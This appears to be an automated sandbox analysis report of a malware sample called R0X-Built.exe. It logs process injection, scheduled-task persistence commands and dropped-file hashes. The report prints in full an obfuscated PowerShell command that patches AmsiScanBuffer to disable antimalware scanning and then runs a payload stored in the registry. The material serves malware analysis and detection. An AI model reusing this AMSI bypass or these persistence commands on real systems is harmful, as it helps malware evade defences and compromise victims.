R0X-Built.exe$srr-powershell.exepowershell.EXEdllhost.exedescription pid process target process PID 1452 wrote to memory of 3608 1452 R0X-Built.exe schtasks.exe PID 1452 wrote to memory of 3608 1452 R0X-Built.exe schtasks.exe PID 1452 wrote to memory of 3608 1452 R0X-Built.exe schtasks.exe PID 1452 wrote to memory of 2492 1452 R0X-Built.exe $srr-powershell.exe PID 1452 wrote to memory of 2492 1452 R0X-Built.exe $srr-powershell.exe PID 1452 wrote to memory of 2492 1452 R0X-Built.exe $srr-powershell.exe PID 2492 wrote to memory of 2276 2492 $srr-powershell.exe schtasks.exe PID 2492 wrote to memory of 2276 2492 $srr-powershell.exe schtasks.exe PID 2492 wrote to memory of 2276 2492 $srr-powershell.exe schtasks.exe PID 1452 wrote to memory of 4572 1452 R0X-Built.exe install.exe PID 1452 wrote to memory of 4572 1452 R0X-Built.exe install.exe PID 1452 wrote to memory of 4572 1452 R0X-Built.exe install.exe PID 1452 wrote to memory of 2676 1452 R0X-Built.exe SCHTASKS.exe PID 1452 wrote to memory of 2676 1452 R0X-Built.exe SCHTASKS.exe PID 1452 wrote to memory of 2676 1452 R0X-Built.exe SCHTASKS.exe PID 3040 wrote to memory of 1368 3040 powershell.EXE dllhost.exe PID 3040 wrote to memory of 1368 3040 powershell.EXE dllhost.exe PID 3040 wrote to memory of 1368 3040 powershell.EXE dllhost.exe PID 3040 wrote to memory of 1368 3040 powershell.EXE dllhost.exe PID 3040 wrote to memory of 1368 3040 powershell.EXE dllhost.exe PID 3040 wrote to memory of 1368 3040 powershell.EXE dllhost.exe PID 3040 wrote to memory of 1368 3040 powershell.EXE dllhost.exe PID 3040 wrote to memory of 1368 3040 powershell.EXE dllhost.exe PID 1368 wrote to memory of 624 1368 dllhost.exe winlogon.exe PID 1368 wrote to memory of 680 1368 dllhost.exe lsass.exe PID 1368 wrote to memory of 960 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 316 1368 dllhost.exe dwm.exe PID 1368 wrote to memory of 392 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 876 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1108 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1116 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1144 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1156 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1236 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1252 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1340 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1408 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1416 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1564 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1584 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1648 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1704 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1732 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1768 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1808 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1920 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1980 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2004 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 1472 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2068 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2148 1368 dllhost.exe spoolsv.exe PID 1368 wrote to memory of 2260 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2408 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2564 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2572 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2680 1368 dllhost.exe sihost.exe PID 1368 wrote to memory of 2696 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2720 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2768 1368 dllhost.exe sysmon.exe PID 1368 wrote to memory of 2776 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2804 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2836 1368 dllhost.exe svchost.exe PID 1368 wrote to memory of 2884 1368 dllhost.exe taskhostw.exe PID 1368 wrote to memory of 2996 1368 dllhost.exe unsecapp.exe
Processes
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵
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C:\Windows\system32\dwm.exe"dwm.exe"2⤵
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{4b61e3c6-b4e8-4f56-9d52-e61965c75a0e}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
- Drops file in System32 directory
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
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C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:ngzrdCnZbPdq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$WhuSuCleOCNqQU,[Parameter(Position=1)][Type]$AgkspSGlWz)$oKpMpYBjTuP=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+'f'+'l'+''+[Char](101)+''+[Char](99)+''+'t'+'e'+[Char](100)+''+[Char](68)+'e'+'l'+''+[Char](101)+''+[Char](103)+''+'a'+''+[Char](116)+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'Me'+[Char](109)+''+[Char](111)+''+[Char](114)+''+'y'+''+'M'+''+[Char](111)+''+'d'+''+'u'+''+[Char](108)+''+'e'+'',$False).DefineType('M'+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+''+[Char](101)+''+'g'+''+'a'+''+'t'+''+[Char](101)+''+'T'+'yp'+'e'+'','C'+'l'+''+[Char](97)+''+[Char](115)+'s'+','+''+'P'+''+'u'+''+'b'+''+'l'+''+'i'+''+[Char](99)+','+'S'+'e'+'a'+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+''+[Char](110)+''+'s'+''+'i'+''+[Char](67)+''+'l'+''+[Char](97)+'ss'+[Char](44)+''+[Char](65)+''+[Char](117)+''+'t'+''+[Char](111)+''+[Char](67)+'l'+[Char](97)+'s'+'s'+'',[MulticastDelegate]);$oKpMpYBjTuP.DefineConstructor(''+[Char](82)+''+[Char](84)+''+'S'+''+[Char](112)+'ec'+'i'+'al'+'N'+''+'a'+''+[Char](109)+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+'de'+'B'+''+'y'+''+[Char](83)+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$WhuSuCleOCNqQU).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+'m'+''+'e'+',Ma'+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$oKpMpYBjTuP.DefineMethod(''+[Char](73)+''+[Char](110)+'v'+[Char](111)+''+[Char](107)+''+'e'+'',''+[Char](80)+'u'+'b'+''+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'B'+[Char](121)+''+[Char](83)+'i'+[Char](103)+','+'N'+''+[Char](101)+''+[Char](119)+''+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+','+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+'u'+''+[Char](97)+''+'l'+'',$AgkspSGlWz,$WhuSuCleOCNqQU).SetImplementationFlags(''+[Char](82)+''+'u'+''+[Char](110)+''+'t'+''+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+'M'+'a'+[Char](110)+''+'a'+''+[Char](103)+''+'e'+'d');Write-Output $oKpMpYBjTuP.CreateType();}$RxXQEoUevUHHC=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.'+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType(''+[Char](77)+''+'i'+''+[Char](99)+''+'r'+''+[Char](111)+''+[Char](115)+''+[Char](111)+''+[Char](102)+''+'t'+''+[Char](46)+''+'W'+''+[Char](105)+''+[Char](110)+'3'+'2'+'.'+[Char](85)+''+[Char](110)+''+'s'+'a'+'f'+''+[Char](101)+'N'+'a'+''+'t'+''+[Char](105)+''+'v'+''+'e'+''+[Char](77)+'e'+[Char](116)+''+'h'+''+[Char](111)+''+'d'+''+[Char](115)+'');$JjCpbaiGPczMcs=$RxXQEoUevUHHC.GetMethod('Ge'+[Char](116)+''+[Char](80)+''+'r'+''+'o'+''+[Char](99)+'A'+[Char](100)+'dre'+[Char](115)+'s',[Reflection.BindingFlags]('P'+[Char](117)+''+[Char](98)+''+'l'+'i'+'c'+','+'S'+''+[Char](116)+''+[Char](97)+''+'t'+''+'i'+''+'c'+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$YcSMwoaimNyEzmfKaHX=ngzrdCnZbPdq @([String])([IntPtr]);$aMqIOgQWHzNMzVVZbHFCvP=ngzrdCnZbPdq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$wRkdBNqCqKi=$RxXQEoUevUHHC.GetMethod(''+'G'+''+[Char](101)+'t'+'M'+'o'+'d'+''+[Char](117)+''+[Char](108)+''+[Char](101)+''+[Char](72)+''+'a'+'n'+[Char](100)+''+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+'e'+'r'+'ne'+'l'+''+'3'+''+'2'+'.'+[Char](100)+''+[Char](108)+''+[Char](108)+'')));$xyGwDThsfiEHUp=$JjCpbaiGPczMcs.Invoke($Null,@([Object]$wRkdBNqCqKi,[Object]('L'+[Char](111)+''+[Char](97)+''+'d'+'L'+[Char](105)+''+'b'+''+[Char](114)+''+[Char](97)+''+[Char](114)+''+'y'+''+[Char](65)+'')));$EBkSldReYbYNGiCBx=$JjCpbaiGPczMcs.Invoke($Null,@([Object]$wRkdBNqCqKi,[Object]('V'+[Char](105)+''+'r'+''+[Char](116)+'u'+'a'+''+[Char](108)+'P'+'r'+''+'o'+''+[Char](116)+'e'+'c'+''+[Char](116)+'')));$oteyAJY=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($xyGwDThsfiEHUp,$YcSMwoaimNyEzmfKaHX).Invoke(''+[Char](97)+''+[Char](109)+'s'+[Char](105)+''+[Char](46)+'dl'+[Char](108)+'');$SFGMzfFpXisjChIpy=$JjCpbaiGPczMcs.Invoke($Null,@([Object]$oteyAJY,[Object]('A'+'m'+''+'s'+'i'+'S'+'c'+'a'+''+[Char](110)+''+[Char](66)+''+[Char](117)+''+'f'+''+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$HfCVJRWDHk=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EBkSldReYbYNGiCBx,$aMqIOgQWHzNMzVVZbHFCvP).Invoke($SFGMzfFpXisjChIpy,[uint32]8,4,[ref]$HfCVJRWDHk);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$SFGMzfFpXisjChIpy,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($EBkSldReYbYNGiCBx,$aMqIOgQWHzNMzVVZbHFCvP).Invoke($SFGMzfFpXisjChIpy,[uint32]8,0x20,[ref]$HfCVJRWDHk);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+'F'+'T'+'W'+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+'7'+''+[Char](55)+''+[Char](115)+''+'t'+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
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C:\Windows\system32\sihost.exesihost.exe2⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
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C:\Windows\System32\spoolsv.exeC:\Windows\System32\spoolsv.exe1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
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C:\Windows\sysmon.exeC:\Windows\sysmon.exe1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious use of UnmapMainImage
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C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe"2⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe" /rl HIGHEST /f3⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\schtasks.exe"schtasks" /create /tn "$srr-powershell" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exe" /rl HIGHEST /f4⤵
- Creates scheduled task(s)
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C:\Users\Admin\AppData\Local\Temp\install.exe"C:\Users\Admin\AppData\Local\Temp\install.exe"3⤵
- Executes dropped EXE
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C:\Windows\SysWOW64\SCHTASKS.exe"SCHTASKS.exe" /create /tn "$77R0X-Built.exe" /tr "'C:\Users\Admin\AppData\Local\Temp\R0X-Built.exe'" /sc onlogon /rl HIGHEST3⤵
- Creates scheduled task(s)
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
- Suspicious use of UnmapMainImage
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵
- Modifies registry class
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C:\Windows\system32\wbem\wmiprvse.exeC:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding1⤵
- Checks BIOS information in registry
- Checks SCSI registry key(s)
- Enumerates system info in registry
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\install.exeFilesize
162KB
MD5152e3f07bbaf88fb8b097ba05a60df6e
SHA1c4638921bb140e7b6a722d7c4d88afa7ed4e55c8
SHA256a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc
SHA5122fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4
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C:\Users\Admin\AppData\Roaming\Windows\$srr-powershell.exeFilesize
409KB
MD5a0f5aa5764c4f66eee82f857f9f447b6
SHA13c3a780d020cb3eb3088223443fe813abb95dccd
SHA25643c6b9b6c241dbd6ad1bde7980026235373374d5e836fb6c794354a15e678ef3
SHA512458c03ae490e409598b8e9e89911b0757fb61411fbc45a60ecefed3c13d0fc96b7bc205afe1fb3e0f7585eb163f102754ec9259691eca1bfa00b028f74eb8384
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C:\Windows\Temp\__PSScriptPolicyTest_3ayq2kix.tyw.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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memory/316-86-0x00000195C1920000-0x00000195C194B000-memory.dmpFilesize
172KB
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memory/316-92-0x00000195C1920000-0x00000195C194B000-memory.dmpFilesize
172KB
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memory/316-93-0x00007FFFB5F30000-0x00007FFFB5F40000-memory.dmpFilesize
64KB
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memory/316-94-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmpFilesize
64KB
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memory/392-98-0x0000024C12AE0000-0x0000024C12B0B000-memory.dmpFilesize
172KB
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memory/624-58-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmpFilesize
64KB
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memory/624-56-0x000001B5E94E0000-0x000001B5E950B000-memory.dmpFilesize
172KB
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memory/624-50-0x000001B5E94E0000-0x000001B5E950B000-memory.dmpFilesize
172KB
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memory/624-57-0x00007FFFB5F30000-0x00007FFFB5F40000-memory.dmpFilesize
64KB
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memory/624-49-0x000001B5E94E0000-0x000001B5E950B000-memory.dmpFilesize
172KB
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memory/624-48-0x000001B5E94B0000-0x000001B5E94D5000-memory.dmpFilesize
148KB
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memory/680-68-0x0000016AE5970000-0x0000016AE599B000-memory.dmpFilesize
172KB
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memory/680-69-0x00007FFFB5F30000-0x00007FFFB5F40000-memory.dmpFilesize
64KB
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memory/680-70-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmpFilesize
64KB
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memory/680-62-0x0000016AE5970000-0x0000016AE599B000-memory.dmpFilesize
172KB
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memory/960-82-0x00007FF7CD3F0000-0x00007FF7CD400000-memory.dmpFilesize
64KB
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memory/960-74-0x000002A97CCD0000-0x000002A97CCFB000-memory.dmpFilesize
172KB
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memory/960-80-0x000002A97CCD0000-0x000002A97CCFB000-memory.dmpFilesize
172KB
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memory/960-81-0x00007FFFB5F30000-0x00007FFFB5F40000-memory.dmpFilesize
64KB
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memory/1368-37-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/1368-45-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/1368-44-0x00007FF80BD60000-0x00007FF80BE1E000-memory.dmpFilesize
760KB
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memory/1368-35-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/1368-38-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/1368-40-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/1368-36-0x0000000140000000-0x0000000140008000-memory.dmpFilesize
32KB
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memory/1368-43-0x00007FF80D370000-0x00007FF80D565000-memory.dmpFilesize
2.0MB
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memory/1452-7-0x0000000006E00000-0x0000000006E3C000-memory.dmpFilesize
240KB
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memory/1452-5-0x0000000005BA0000-0x0000000005C06000-memory.dmpFilesize
408KB
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memory/1452-3-0x0000000005AA0000-0x0000000005B32000-memory.dmpFilesize
584KB
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memory/1452-1-0x0000000000FF0000-0x000000000105C000-memory.dmpFilesize
432KB
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memory/1452-4-0x0000000074B20000-0x00000000752D0000-memory.dmpFilesize
7.7MB
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memory/1452-6-0x00000000068C0000-0x00000000068D2000-memory.dmpFilesize
72KB
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memory/1452-0-0x0000000074B2E000-0x0000000074B2F000-memory.dmpFilesize
4KB
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memory/1452-2-0x0000000005FB0000-0x0000000006554000-memory.dmpFilesize
5.6MB
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memory/1452-21-0x0000000074B20000-0x00000000752D0000-memory.dmpFilesize
7.7MB
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memory/2492-766-0x0000000074B20000-0x00000000752D0000-memory.dmpFilesize
7.7MB
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memory/2492-18-0x0000000007160000-0x000000000716A000-memory.dmpFilesize
40KB
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memory/2492-14-0x0000000074B20000-0x00000000752D0000-memory.dmpFilesize
7.7MB
-
memory/2492-13-0x0000000074B20000-0x00000000752D0000-memory.dmpFilesize
7.7MB
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memory/2492-767-0x0000000074B20000-0x00000000752D0000-memory.dmpFilesize
7.7MB
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memory/3040-33-0x00007FF80D370000-0x00007FF80D565000-memory.dmpFilesize
2.0MB
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memory/3040-34-0x00007FF80BD60000-0x00007FF80BE1E000-memory.dmpFilesize
760KB
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memory/3040-32-0x0000016162320000-0x000001616234A000-memory.dmpFilesize
168KB
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memory/3040-31-0x0000016161F20000-0x0000016161F42000-memory.dmpFilesize
136KB